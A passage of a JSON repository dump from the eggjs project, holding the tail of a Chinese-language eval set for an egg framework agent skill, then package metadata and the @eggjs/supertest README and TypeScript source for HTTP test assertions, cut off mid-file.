backgroundTaskHelper: BackgroundTaskHelper;\\n\\n  @Inject()\\n  private notifyService: any;\\n\\n  @Inject()\\n  private statsService: any;\\n\\n  async createOrder(data: any) {\\n    const order = { id: Date.now(), ...data };\\n    this.backgroundTaskHelper.run(async () => {\\n      await this.notifyService.send(order);\\n      await this.statsService.record(order);\\n    });\\n    return order;\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 33,\n      \"prompt\": \"EventBus 的 cork/uncork 怎么用，我想批量操作完成后再统一触发事件\",\n      \"expected_output\": \"注入 ContextEventBus，cork() 开始缓冲 → emit 多个事件 → uncork() 释放，支持嵌套调用\"\n    },\n    {\n      \"id\": 34,\n      \"prompt\": \"所有 Service 的方法调用都要记录耗时日志，不想在每个方法里写\",\n      \"expected_output\": \"使用 AOP @Crosscut + PointcutType.NAME 正则匹配 Service，Advice 中 beforeCall 记录开始时间，afterFinally 计算耗时并打日志\"\n    },\n    {\n      \"id\": 35,\n      \"prompt\": \"用 @Pointcut 给 OrderService.createOrder 加事务包裹\",\n      \"expected_output\": \"@Advice 实现 around hook 管理事务（beginTransaction/commit/rollback）+ @Pointcut(TxAdvice) 装饰目标方法，从 egg/aop 导入\"\n    },\n    {\n      \"id\": 36,\n      \"prompt\": \"Pointcut 和 Crosscut 有什么区别，怎么选\",\n      \"expected_output\": \"Pointcut 在目标方法上声明，精确切入单个方法；Crosscut 在 Advice 类上声明匹配规则，批量切入多个类/方法\"\n    },\n    {\n      \"id\": 37,\n      \"prompt\": \"AOP 的 Advice 不生效，帮我看看\",\n      \"expected_output\": \"指出缺少 @Advice() 装饰器，@Crosscut 和 @Advice() 必须同时使用\",\n      \"files\": [\n        {\n          \"path\": \"app/logModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"logModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"logModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/logModule/OperationLogAdvice.ts\",\n          \"content\": \"import { Crosscut, IAdvice, AdviceContext, PointcutType } from 'egg/aop';\\nimport { Inject, Logger } from 'egg';\\n\\n@Crosscut({\\n  type: PointcutType.NAME,\\n  className: /.*Service$/i,\\n  methodName: /^(create|update|delete)/,\\n})\\nexport class OperationLogAdvice implements IAdvice {\\n  @Inject()\\n  private logger: Logger;\\n\\n  async afterFinally(ctx: AdviceContext): Promise<void> {\\n    this.logger.info('called %s', String(ctx.method));\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 38,\n      \"prompt\": \"帮我用 AOP 实现统一的异常捕获和错误日志\",\n      \"expected_output\": \"Advice 实现 afterThrow hook 记录异常信息，使用 @Crosscut 或 @Pointcut 应用到目标方法，从 egg/aop 导入\"\n    },\n    {\n      \"id\": 39,\n      \"prompt\": \"adviceParams 怎么用，同一个 Advice 不同方法需要不同参数\",\n      \"expected_output\": \"@Pointcut 第二个参数传 { adviceParams: {...} }，Advice 中通过 ctx.adviceParams 获取\"\n    },\n    {\n      \"id\": 40,\n      \"prompt\": \"同一个方法上有 Crosscut 和 Pointcut 两个 Advice，执行顺序是什么，能控制吗\",\n      \"expected_output\": \"Crosscut 默认 order 100 先执行，Pointcut 默认 order 1000 后执行，可通过 order 参数调整顺序\"\n    },\n    {\n      \"id\": 41,\n      \"prompt\": \"帮我用 Crosscut 的 CUSTOM 模式，对所有 Repository 类的非 constructor 方法加监控\",\n      \"expected_output\": \"使用 PointcutType.CUSTOM + callback 函数匹配 Repository 类并排除 constructor，从 egg/aop 导入\"\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/skills/eval/evals-routing.json",
    "content": "{\n  \"skill_name\": \"egg\",\n  \"description\": \"入口 skill 路由决策评测\",\n  \"evals\": [\n    {\n      \"id\": 1,\n      \"prompt\": \"帮我写一个接口\",\n      \"expected_output\": \"路由到 egg-controller skill\"\n    },\n    {\n      \"id\": 2,\n      \"prompt\": \"帮我写一个 GET /api/users/:id 的接口，返回用户信息\",\n      \"expected_output\": \"路由到 egg-controller skill\"\n    },\n    {\n      \"id\": 3,\n      \"prompt\": \"我想写个服务，不知道用 SingletonProto 还是 ContextProto\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    },\n    {\n      \"id\": 4,\n      \"prompt\": \"帮我实现一个定时同步数据的功能，每 10 分钟跑一次\",\n      \"expected_output\": \"路由到 egg-controller skill\"\n    },\n    {\n      \"id\": 5,\n      \"prompt\": \"我的 @Inject 注入报错了，找不到对象\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    },\n    {\n      \"id\": 6,\n      \"prompt\": \"帮我搭一个新模块，包含增删改查接口和 Service\",\n      \"expected_output\": \"路由到 egg-core skill（基础优先，先建模块再写接口）\"\n    },\n    {\n      \"id\": 7,\n      \"prompt\": \"我要给 AI 暴露几个 MCP Tool，查询订单和退款\",\n      \"expected_output\": \"路由到 egg-controller skill\"\n    },\n    {\n      \"id\": 8,\n      \"prompt\": \"不同环境的模块配置怎么管理\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    },\n    {\n      \"id\": 9,\n      \"prompt\": \"帮我用事件总线解耦订单通知\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    },\n    {\n      \"id\": 10,\n      \"prompt\": \"EventBus 和 BackgroundTaskHelper 怎么选\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    },\n    {\n      \"id\": 11,\n      \"prompt\": \"帮我用 AOP 给所有 Service 加日志\",\n      \"expected_output\": \"路由到 egg-core skill\"\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/skills/package.json",
    "content": "{\n  \"name\": \"@eggjs/skills\",\n  \"version\": \"4.1.2-beta.5\",\n  \"description\": \"agent skills for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"skill\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/skills\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"eggjs\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/skills\"\n  },\n  \"files\": [\n    \"**/*.md\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/supertest/.gitignore",
    "content": "#       OS        #\n###################\n.DS_Store\n.idea\nThumbs.db\ntmp/\ntemp/\n\n\n#     Node.js     #\n###################\nnode_modules\n\n\n#       NYC       #\n###################\ncoverage\n*.lcov\n.nyc_output\n\n\n#      Files      #\n###################\n*.log\n.tshy*\n.eslintcache\ndist\ncoverage\n"
  },
  {
    "path": "packages/supertest/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 9.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [8.2.0](https://github.com/eggjs/supertest/compare/v8.1.1...v8.2.0) (2025-01-17)\n\n\n### Features\n\n* support trace method request ([#4](https://github.com/eggjs/supertest/issues/4)) ([1e3d92b](https://github.com/eggjs/supertest/commit/1e3d92bc194b2391e4be9bb0a38ed263255e8f46))\n\n## [8.1.1](https://github.com/eggjs/supertest/compare/v8.1.0...v8.1.1) (2024-12-22)\n\n\n### Bug Fixes\n\n* add @types/superagent to dependencies ([#3](https://github.com/eggjs/supertest/issues/3)) ([ec0a012](https://github.com/eggjs/supertest/commit/ec0a012345f397258ceb6ed72df0887b34ad9566))\n\n## [8.1.0](https://github.com/eggjs/supertest/compare/v8.0.0...v8.1.0) (2024-12-21)\n\n\n### Features\n\n* expect header exists or not ([#2](https://github.com/eggjs/supertest/issues/2)) ([e5060b0](https://github.com/eggjs/supertest/commit/e5060b05c7d35830f9baa2e59324bf5ce446db27))\n\n## [8.0.0](https://github.com/eggjs/supertest/compare/v7.0.0...v8.0.0) (2024-12-21)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced a new `TestAgent` class for enhanced HTTP and HTTP/2\nrequests.\n\t- Added a new `Request` class to facilitate server requests.\n\t- Implemented a new `AssertError` class for improved error handling.\n\t- Created new GitHub Actions workflows for CI and package publishing.\n\n- **Documentation**\n- Updated the `README.md` to reflect rebranding to `@eggjs/supertest`\nand revised installation instructions.\n\n- **Bug Fixes**\n\t- Enhanced error handling and type safety in tests.\n\n- **Chores**\n\t- Removed outdated configuration files and unnecessary dependencies.\n\t- Updated TypeScript configuration for stricter type checking.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#1](https://github.com/eggjs/supertest/issues/1)) ([09fb755](https://github.com/eggjs/supertest/commit/09fb7555aecebc2047cd68efafe0f54dc17b6108))\n"
  },
  {
    "path": "packages/supertest/LICENSE",
    "content": "(The MIT License)\n\nCopyright (c) 2014 TJ Holowaychuk <tj@vision-media.ca>\nCopyright (c) 2024-present eggjs and the contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n'Software'), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "packages/supertest/README.md",
    "content": "# @eggjs/supertest\n\n[![NPM version][npm-image]][npm-url]\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n[![MIT License][license-badge]][license]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/mock.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/supertest.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/supertest\n[license-badge]: https://img.shields.io/badge/license-MIT-blue.svg?style=flat-square\n[license]: https://github.com/eggjs/supertest/blob/master/LICENSE\n[download-image]: https://img.shields.io/npm/dm/@eggjs/supertest.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/supertest\n\n> HTTP assertions made easy via [superagent](http://github.com/ladjs/superagent). Maintained for [Forward Email](https://github.com/forwardemail) and [Lad](https://github.com/ladjs).\n> Forked for TypeScript friendly\n\nDocument see [SuperTest](https://ladjs.github.io/superagent/)\n\n## About\n\nThe motivation with this module is to provide a high-level abstraction for testing\nHTTP, while still allowing you to drop down to the [lower-level API](https://ladjs.github.io/superagent/) provided by superagent.\n\n## Getting Started\n\nInstall SuperTest as an npm module and save it to your package.json file as a development dependency:\n\n```bash\nnpm install @eggjs/supertest --save-dev\n```\n\nOnce installed it can now be referenced by simply calling `require('supertest');`\n\n## Example\n\nYou may pass an `http.Server`, or a `Function` to `request()` - if the server is not\nalready listening for connections then it is bound to an ephemeral port for you so\nthere is no need to keep track of ports.\n\nSuperTest works with any test framework, here is an example without using any\ntest framework at all:\n\n```js\nconst { request } = require('@eggjs/supertest');\nconst express = require('express');\n\nconst app = express();\n\napp.get('/user', function (req, res) {\n  res.status(200).json({ name: 'john' });\n});\n\nrequest(app)\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end(function (err, res) {\n    if (err) throw err;\n  });\n```\n\nTo enable http2 protocol, simply append an options to `request` or `request.agent`:\n\n```js\nconst { request } = require('@eggjs/supertest');\nconst express = require('express');\n\nconst app = express();\n\napp.get('/user', function (req, res) {\n  res.status(200).json({ name: 'john' });\n});\n\nrequest(app, { http2: true })\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end(function (err, res) {\n    if (err) throw err;\n  });\n\nrequest\n  .agent(app, { http2: true })\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end(function (err, res) {\n    if (err) throw err;\n  });\n```\n\nHere's an example with mocha, note how you can pass `done` straight to any of the `.expect()` calls:\n\n```js\ndescribe('GET /user', function () {\n  it('responds with json', function (done) {\n    request(app).get('/user').set('Accept', 'application/json').expect('Content-Type', /json/).expect(200, done);\n  });\n});\n```\n\nYou can use `auth` method to pass HTTP username and password in the same way as in the [superagent](http://ladjs.github.io/superagent/#authentication):\n\n```js\ndescribe('GET /user', function () {\n  it('responds with json', function (done) {\n    request(app)\n      .get('/user')\n      .auth('username', 'password')\n      .set('Accept', 'application/json')\n      .expect('Content-Type', /json/)\n      .expect(200, done);\n  });\n});\n```\n\nOne thing to note with the above statement is that superagent now sends any HTTP\nerror (anything other than a 2XX response code) to the callback as the first argument if\nyou do not add a status code expect (i.e. `.expect(302)`).\n\nIf you are using the `.end()` method `.expect()` assertions that fail will\nnot throw - they will return the assertion as an error to the `.end()` callback. In\norder to fail the test case, you will need to rethrow or pass `err` to `done()`, as follows:\n\n```js\ndescribe('POST /users', function () {\n  it('responds with json', function (done) {\n    request(app)\n      .post('/users')\n      .send({ name: 'john' })\n      .set('Accept', 'application/json')\n      .expect('Content-Type', /json/)\n      .expect(200)\n      .end(function (err, res) {\n        if (err) return done(err);\n        return done();\n      });\n  });\n});\n```\n\nYou can also use promises:\n\n```js\ndescribe('GET /users', function () {\n  it('responds with json', function () {\n    return request(app)\n      .get('/users')\n      .set('Accept', 'application/json')\n      .expect('Content-Type', /json/)\n      .expect(200)\n      .then(response => {\n        expect(response.body.email).toEqual('foo@bar.com');\n      });\n  });\n});\n```\n\nOr async/await syntax:\n\n```js\ndescribe('GET /users', function () {\n  it('responds with json', async function () {\n    const response = await request(app).get('/users').set('Accept', 'application/json');\n    expect(response.headers['Content-Type']).toMatch(/json/);\n    expect(response.status).toEqual(200);\n    expect(response.body.email).toEqual('foo@bar.com');\n  });\n});\n```\n\nExpectations are run in the order of definition. This characteristic can be used\nto modify the response body or headers before executing an assertion.\n\n```js\ndescribe('POST /user', function () {\n  it('user.name should be an case-insensitive match for \"john\"', function (done) {\n    request(app)\n      .post('/user')\n      .send('name=john') // x-www-form-urlencoded upload\n      .set('Accept', 'application/json')\n      .expect(function (res) {\n        res.body.id = 'some fixed id';\n        res.body.name = res.body.name.toLowerCase();\n      })\n      .expect(\n        200,\n        {\n          id: 'some fixed id',\n          name: 'john',\n        },\n        done\n      );\n  });\n});\n```\n\nAnything you can do with superagent, you can do with supertest - for example multipart file uploads!\n\n```js\nrequest(app)\n  .post('/')\n  .field('name', 'my awesome avatar')\n  .field('complex_object', '{\"attribute\": \"value\"}', {contentType: 'application/json'})\n  .attach('avatar', 'test/fixtures/avatar.jpg')\n  ...\n```\n\nPassing the app or url each time is not necessary, if you're testing\nthe same host you may simply re-assign the request variable with the\ninitialization app or url, a new `Test` is created per `request.VERB()` call.\n\n```js\nt = request('http://localhost:5555');\n\nt.get('/').expect(200, function (err) {\n  console.log(err);\n});\n\nt.get('/').expect('heya', function (err) {\n  console.log(err);\n});\n```\n\nHere's an example with mocha that shows how to persist a request and its cookies:\n\n```js\nconst { agent } = require('@eggjs/supertest');\nconst should = require('should');\nconst express = require('express');\nconst cookieParser = require('cookie-parser');\n\ndescribe('request.agent(app)', function () {\n  const app = express();\n  app.use(cookieParser());\n\n  app.get('/', function (req, res) {\n    res.cookie('cookie', 'hey');\n    res.send();\n  });\n\n  app.get('/return', function (req, res) {\n    if (req.cookies.cookie) res.send(req.cookies.cookie);\n    else res.send(':(');\n  });\n\n  const testAgent = agent(app);\n\n  it('should save cookies', function (done) {\n    testAgent.get('/').expect('set-cookie', 'cookie=hey; Path=/', done);\n  });\n\n  it('should send cookies', function (done) {\n    testAgent.get('/return').expect('hey', done);\n  });\n});\n```\n\nThere is another example that is introduced by the file [agency.js](https://github.com/ladjs/superagent/blob/master/test/node/agency.js)\n\nHere is an example where 2 cookies are set on the request.\n\n```js\nagent(app)\n  .get('/api/content')\n  .set('Cookie', ['nameOne=valueOne;nameTwo=valueTwo'])\n  .send()\n  .expect(200)\n  .end((err, res) => {\n    if (err) {\n      return done(err);\n    }\n    expect(res.text).to.be.equal('hey');\n    return done();\n  });\n```\n\n## API\n\nYou may use any [superagent](http://github.com/ladjs/superagent) methods,\nincluding `.write()`, `.pipe()` etc and perform assertions in the `.end()` callback\nfor lower-level needs.\n\n### .expect(status[, fn])\n\nAssert response `status` code.\n\n### .expect(status, body[, fn])\n\nAssert response `status` code and `body`.\n\n### .expect(body[, fn])\n\nAssert response `body` text with a string, regular expression, or\nparsed body object.\n\n### .expect(field, value[, fn])\n\nAssert header `field` `value` with a string or regular expression.\n\n### .expect(function(res) {})\n\nPass a custom assertion function. It'll be given the response object to check. If the check fails, throw an error.\n\n```js\nrequest(app).get('/').expect(hasPreviousAndNextKeys).end(done);\n\nfunction hasPreviousAndNextKeys(res) {\n  if (!('next' in res.body)) throw new Error('missing next key');\n  if (!('prev' in res.body)) throw new Error('missing prev key');\n}\n```\n\n### .end(fn)\n\nPerform the request and invoke `fn(err, res)`.\n\n## Notes\n\nInspired by [api-easy](https://github.com/flatiron/api-easy) minus vows coupling.\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/supertest/package.json",
    "content": "{\n  \"name\": \"@eggjs/supertest\",\n  \"version\": \"9.0.2-beta.5\",\n  \"description\": \"SuperAgent driven library for testing HTTP servers\",\n  \"keywords\": [\n    \"bdd\",\n    \"http\",\n    \"request\",\n    \"superagent\",\n    \"tdd\",\n    \"test\",\n    \"testing\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/supertest\",\n  \"license\": \"MIT\",\n  \"author\": \"TJ Holowaychuk\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/supertest\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@types/superagent\": \"catalog:\",\n    \"superagent\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/body-parser\": \"catalog:\",\n    \"@types/cookie-parser\": \"catalog:\",\n    \"@types/express\": \"catalog:\",\n    \"body-parser\": \"catalog:\",\n    \"cookie-parser\": \"catalog:\",\n    \"express\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/supertest/src/agent.ts",
    "content": "import http from 'node:http';\nimport http2 from 'node:http2';\nimport type { Server } from 'node:net';\n\nimport { agent as Agent } from 'superagent';\n\nimport { Test } from './test.ts';\nimport type { AgentOptions, H1RequestListener, H2RequestListener, App } from './types.ts';\n\n/**\n * Initialize a new `TestAgent`.\n *\n * @param {Function|Server} app\n * @param {Object} options\n */\n\nexport class TestAgent extends Agent {\n  app: Server | string;\n  _host: string;\n  #http2 = false;\n\n  constructor(appOrListener: App, options: AgentOptions = {}) {\n    super(options);\n    if (typeof appOrListener === 'function') {\n      if (options.http2) {\n        this.#http2 = true;\n        this.app = http2.createServer(appOrListener as H2RequestListener); // eslint-disable-line no-param-reassign\n      } else {\n        this.app = http.createServer(appOrListener as H1RequestListener); // eslint-disable-line no-param-reassign\n      }\n    } else {\n      this.app = appOrListener;\n    }\n  }\n\n  // set a host name\n  host(host: string): this {\n    this._host = host;\n    return this;\n  }\n\n  // TestAgent.prototype.del = TestAgent.prototype.delete;\n\n  protected _testRequest(method: string, url: string): Test {\n    const req = new Test(this.app, method.toUpperCase(), url);\n    if (this.#http2) {\n      req.http2();\n    }\n\n    if (this._host) {\n      req.set('host', this._host);\n    }\n\n    const that = this as any;\n    // access not internal methods\n    req.on('response', that._saveCookies.bind(this));\n    req.on('redirect', that._saveCookies.bind(this));\n    req.on('redirect', that._attachCookies.bind(this, req));\n    that._setDefaults(req);\n    that._attachCookies(req);\n\n    return req;\n  }\n  delete(url: string): Test {\n    return this._testRequest('delete', url);\n  }\n  del(url: string): Test {\n    return this._testRequest('delete', url);\n  }\n  get(url: string): Test {\n    return this._testRequest('get', url);\n  }\n  head(url: string): Test {\n    return this._testRequest('head', url);\n  }\n  put(url: string): Test {\n    return this._testRequest('put', url);\n  }\n  post(url: string): Test {\n    return this._testRequest('post', url);\n  }\n  patch(url: string): Test {\n    return this._testRequest('patch', url);\n  }\n  options(url: string): Test {\n    return this._testRequest('options', url);\n  }\n  trace(url: string): Test {\n    return this._testRequest('trace', url);\n  }\n}\n\n// allow keep use by `agent()`\nexport const proxyAgent: typeof TestAgent & ((app: App, options?: AgentOptions) => TestAgent) = new Proxy(TestAgent, {\n  apply(target, _, argumentsList) {\n    return new target(argumentsList[0], argumentsList[1]);\n  },\n}) as any;\n"
  },
  {
    "path": "packages/supertest/src/error/AssertError.ts",
    "content": "export class AssertError extends Error {\n  expected: any;\n  actual: any;\n\n  constructor(message: string, expected: any, actual: any, options?: ErrorOptions) {\n    super(message, options);\n    this.name = this.constructor.name;\n    this.expected = expected;\n    this.actual = actual;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/supertest/src/index.ts",
    "content": "import { TestAgent, proxyAgent } from './agent.ts';\nimport { Request, type RequestOptions } from './request.ts';\nimport type { App, AgentOptions } from './types.ts';\n\n/**\n * Test against the given `app`,\n * returning a new `Test`.\n */\nexport function request(app: App, options: RequestOptions = {}): Request {\n  return new Request(app, options);\n}\n\nexport {\n  Request,\n  type RequestOptions,\n  TestAgent,\n  // import { agent } from '@eggjs/supertest';\n  // agent()\n  proxyAgent as agent,\n};\n\nexport * from './test.ts';\n\n// import request from '@eggjs/supertest';\n// request()\nexport default new Proxy(request, {\n  apply(target, _, argumentsList) {\n    return target(argumentsList[0], argumentsList[1]);\n  },\n  get(target, property, receiver) {\n    // import request from '@eggjs/supertest';\n    // request.agent()\n    if (property === 'agent') {\n      return proxyAgent;\n    }\n    return Reflect.get(target, property, receiver);\n  },\n}) as unknown as ((app: App, options?: RequestOptions) => Request) & {\n  agent: (app: App, options?: AgentOptions) => TestAgent;\n};\n"
  },
  {
    "path": "packages/supertest/src/request.ts",
    "content": "import http from 'node:http';\nimport http2 from 'node:http2';\nimport type { Server } from 'node:net';\n\nimport { Test } from './test.ts';\nimport type { H1RequestListener, H2RequestListener, App } from './types.ts';\n\nexport interface RequestOptions {\n  http2?: boolean;\n}\n\nexport class Request {\n  app: string | Server;\n  #http2 = false;\n\n  constructor(appOrListener: App, options: RequestOptions = {}) {\n    if (typeof appOrListener === 'function') {\n      if (options.http2) {\n        this.#http2 = true;\n        this.app = http2.createServer(appOrListener as H2RequestListener); // eslint-disable-line no-param-reassign\n      } else {\n        this.app = http.createServer(appOrListener as H1RequestListener); // eslint-disable-line no-param-reassign\n      }\n    } else {\n      this.app = appOrListener;\n    }\n  }\n\n  protected _testRequest(method: string, url: string): Test {\n    const req = new Test(this.app, method.toUpperCase(), url);\n    if (this.#http2) {\n      req.http2();\n    }\n    return req;\n  }\n  delete(url: string): Test {\n    return this._testRequest('delete', url);\n  }\n  del(url: string): Test {\n    return this._testRequest('delete', url);\n  }\n  get(url: string): Test {\n    return this._testRequest('get', url);\n  }\n  head(url: string): Test {\n    return this._testRequest('head', url);\n  }\n  put(url: string): Test {\n    return this._testRequest('put', url);\n  }\n  post(url: string): Test {\n    return this._testRequest('post', url);\n  }\n  patch(url: string): Test {\n    return this._testRequest('patch', url);\n  }\n  options(url: string): Test {\n    return this._testRequest('options', url);\n  }\n  trace(url: string): Test {\n    return this._testRequest('trace', url);\n  }\n}\n"
  },
  {
    "path": "packages/supertest/src/test.ts",
    "content": "import { deepStrictEqual } from 'node:assert';\nimport { STATUS_CODES } from 'node:http';\nimport type { Server, AddressInfo } from 'node:net';\nimport { Server as HttpsServer } from 'node:tls';\nimport { inspect } from 'node:util';\n\nimport { Request, type Response } from 'superagent';\n\nimport { AssertError } from './error/AssertError.ts';\n\nexport type TestApplication = Server | string;\n\nexport type AssertFunction = (res: Response) => AssertError | void;\nexport type CallbackFunction = (err: AssertError | Error | null, res: Response) => void;\nexport type ResponseError = Error & {\n  syscall?: string;\n  code?: string;\n  status?: number;\n};\nexport interface ExpectHeader {\n  name: string;\n  value: string | number | RegExp;\n}\n\nexport class Test extends Request {\n  app: TestApplication;\n  _server: Server;\n  _asserts: AssertFunction[] = [];\n\n  /**\n   * Initialize a new `Test` with the given `app`,\n   * request `method` and `path`.\n   */\n  constructor(app: TestApplication, method: string, path: string) {\n    super(method.toUpperCase(), path);\n\n    this.redirects(0);\n    this.buffer();\n    this.app = app;\n    this.url = typeof app === 'string' ? app + path : this.serverAddress(app, path);\n  }\n\n  /**\n   * Returns a URL, extracted from a server.\n   *\n   * @return {String} URL address\n   * @private\n   */\n  protected serverAddress(app: Server, path: string): string {\n    const addr = app.address();\n    if (!addr) {\n      this._server = app.listen(0);\n    }\n    const port = (app.address() as AddressInfo).port;\n    const protocol = app instanceof HttpsServer || this._server instanceof HttpsServer ? 'https' : 'http';\n    return `${protocol}://127.0.0.1:${port}${path}`;\n  }\n\n  /**\n   * Expectations:\n   *\n   * ```js\n   *   .expect(200)\n   *   .expect(200, fn)\n   *   .expect(200, body)\n   *   .expect('Some body')\n   *   .expect('Some body', fn)\n   *   .expect(['json array body', { key: 'val' }])\n   *   .expect('Content-Type', 'application/json')\n   *   .expect('Content-Type', 'application/json', fn)\n   *   .expect(fn)\n   *   .expect([200, 404])\n   * ```\n   *\n   * @return {Test} The current Test instance for chaining.\n   */\n  expect(\n    a: number | string | RegExp | object | AssertFunction,\n    b?: string | number | RegExp | CallbackFunction,\n    c?: CallbackFunction,\n  ): Test {\n    // callback\n    if (typeof a === 'function') {\n      // .expect(fn)\n      this._asserts.push(wrapAssertFn(a as AssertFunction));\n      return this;\n    }\n    if (typeof b === 'function') {\n      // .expect('Some body', fn)\n      this.end(b);\n    }\n    if (typeof c === 'function') {\n      // .expect('Content-Type', 'application/json', fn)\n      this.end(c);\n    }\n\n    // status\n    if (typeof a === 'number') {\n      this._asserts.push(wrapAssertFn(this._assertStatus.bind(this, a)));\n      // body\n      if (typeof b !== 'function' && arguments.length > 1) {\n        // .expect(200, 'body')\n        // .expect(200, null)\n        // .expect(200, 9999999)\n        this._asserts.push(wrapAssertFn(this._assertBody.bind(this, b)));\n      }\n      return this;\n    }\n\n    // multiple statuses\n    if (Array.isArray(a) && a.length > 0 && a.every((val) => typeof val === 'number')) {\n      // .expect([200, 300])\n      this._asserts.push(wrapAssertFn(this._assertStatusArray.bind(this, a)));\n      return this;\n    }\n\n    // header field\n    if (typeof b === 'string' || typeof b === 'number' || b instanceof RegExp) {\n      // .expect('Content-Type', 'application/json')\n      // .expect('Content-Type', /json/)\n      this._asserts.push(wrapAssertFn(this._assertHeader.bind(this, { name: String(a), value: b })));\n      return this;\n    }\n\n    // body\n    // .expect('body')\n    // .expect(['json array body', { key: 'val' }])\n    // .expect(/foo/)\n    this._asserts.push(wrapAssertFn(this._assertBody.bind(this, a)));\n\n    return this;\n  }\n\n  /**\n   * UnExpectations:\n   *\n   *   .unexpectHeader('Content-Type')\n   *   .unexpectHeader('Content-Type', fn)\n   */\n  unexpectHeader(name: string, fn?: CallbackFunction): this {\n    if (typeof fn === 'function') {\n      this.end(fn);\n    }\n\n    // header\n    if (typeof name === 'string') {\n      this._asserts.push(this._unexpectHeader.bind(this, name));\n    }\n    return this;\n  }\n\n  /**\n   * Expectations:\n   *\n   *   .expectHeader('Content-Type')\n   *   .expectHeader('Content-Type', fn)\n   */\n  expectHeader(name: string, fn?: CallbackFunction): this {\n    if (typeof fn === 'function') {\n      this.end(fn);\n    }\n\n    // header\n    if (typeof name === 'string') {\n      this._asserts.push(this._expectHeader.bind(this, name));\n    }\n    return this;\n  }\n\n  _unexpectHeader(name: string, res: Response): AssertError | void {\n    const actual = res.headers[name.toLowerCase()];\n    if (actual) {\n      return new AssertError('unexpected \"' + name + '\" header field, got \"' + 